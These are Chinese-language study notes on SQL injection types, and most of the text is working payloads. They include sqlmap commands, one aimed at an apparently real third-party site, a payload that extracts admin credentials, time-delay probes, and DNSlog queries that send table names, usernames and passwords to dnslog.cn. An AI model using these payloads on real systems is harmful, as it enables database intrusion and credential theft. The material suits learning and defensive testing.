【复盘学习笔记】SQL注入之其他注入类型
2022-11-28 12:1:5 Author: 猫因的安全(查看原文) 阅读量:9 收藏

变换提交方式注入

常见的提交方式

  1. GET

  2. POST

  3. COOKIE

  4. HEAD

  5. PUT

  6. OPTION

#### GET注入

GET注入比较常见例如:www.ixxi.com/new.asp?id=11&ssid=123&bid=55

And 1=1
And 1=2
/
-0
‘    
%bf’

POST注入

POST提交方式主要适用于表单的提交,挖掘的时候注意魔术引号,可能存在漏洞的位置:

  1. 搜索框

  2. 登录

  3. 留言

  4. 注册

例如:

sqlmap -u http://testasp.vulnweb.com/login.asp --data "Pass=1&Name=1"

测试工具

  1. sqlmap

  2. burp手工注入

COOKIE注入

cookie提交用于账号密码的cookie缓存

还可以通过cookie注入来突破简单的防注入系统

把本来用GET方式提交的参数内容放在cookie中传递达到绕过限制

测试站点:

sqlmap.py -u http://www.jnrcjt.com/onepage3.asp --cookie "id=30" --level 2

HTTP头注入

常见的http请求中存在注入的参数

  1. User-agent

  2. Referer      

  3. X-Forwarded-For

  4. Client-ip  

POST /uploads/comment.php?act=send HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=caiu1hm6vu2mp9b5m019ku9107
client-ip:1'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB

EXP构造分析

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '0', '1', '6', 'test', '1480988752', '111'', '1')
a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#

伪静态注入的挖掘

/Ndetails/class/news/htmls/moving/id/1131.html
/htmls/moving/id/1131
12.com/sfcxdf/sfsdfs/?445.html

时间延迟注入漏洞

延时注入是通过页面返回的时间来判断的,不同的mysql数据库版本,延迟注入语句也不同。

  1. mysql >=5.0  的可以使用sleep()进行查询

  2. mysql <5.0   的可以使用benchmark()进行查询

benchmark用法

benchmark(n,sql语句)  n为查询次数

通过查询次数增多 时间变得缓慢来判断是否存在延迟

select benchmark(1000,select * from admin) ;

sleep()延迟注入用法

sleep 可以强制产生一个固定的延迟

sleep()延迟注入核心原理:

and if(true,sleep(5),0); ==IF(1=1, true, false);

id=1 and sleep(5) 判断下是否存在延迟注入

and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户

and if(MID(version(),1,1) LIKE 5, sleep(5), 1) 判断数据库版本信息是否为5

and if(ascii(substring(database(),1,4))>100,sleep(5),1)

and If(ascii(substr(database(),1,1))<115,sleep(10),1)--+

and If(length((version()))=6,sleep(10),1)--+

sqlmap --time-sec=2 延迟注入

DNSlog注入方式

dnslog平台会记录域名dns查询记录,通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询,就会记录我们的语句查询结果,从而快速提升时间延迟注入的速度。

条件:root权限(要借助load_file()函数)

dns注入 列表名

and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='jian' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+    #查表名

and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+

and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 1,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+

dns注入 列列名

列列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+

and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' and TABLE_SCHEMA='dbname' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+

第二个列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+

dns注入 列数据

列数据
and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+

and if((select load_file(concat('\\\\',(select password from user limit 0,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+

BASE64编码注入

解码

构造语句

编码

$id=base64_decode($id);

二阶注入漏洞

SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入。

一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。

一阶注入的攻击过程归纳如下:

  1. 攻击者在HTTP请求中提交恶意sql语句

  2. 应用处理恶意输入,使用恶意输入动态构建SQL语句

  3. 如果攻击实现,在响应中向攻击者返回结构

二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。

二阶SQL注入的攻击过程归纳如下:

  1. 攻击者在一个HTTP请求中提交恶意输入

  2. 用于将恶意输入保存在数据库中

  3. 攻击者提交第二个HTTP请求

  4. 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句

  5. 如果攻击实现,在第二个请求的响应中向攻击者返回结果

一般攻击利用是两种方式:攻击存储、注入攻击

XML注入漏洞

xml实体注入

xml可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。

漏洞形成原因:

  1. 代码过滤不严

  2. 用户可以控制漏洞

实例:

  1. 任意文件读取实例

  2. 用户注册注入实例

APP注入漏洞挖掘

  1. 利用抓包工具获取app发送到服务器的链接

  2. burp fiddler即可

  3. 得到链接进行测试


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497069&idx=1&sn=8913052d68bf1f0de06753494de811a1&chksm=c30560eaf472e9fc0f4ff48cdfc15045aa23acd33028c09d2cd7d2d0f87f3b25fdb1ede648cf#rd
如有侵权请联系:admin#unsafe.sh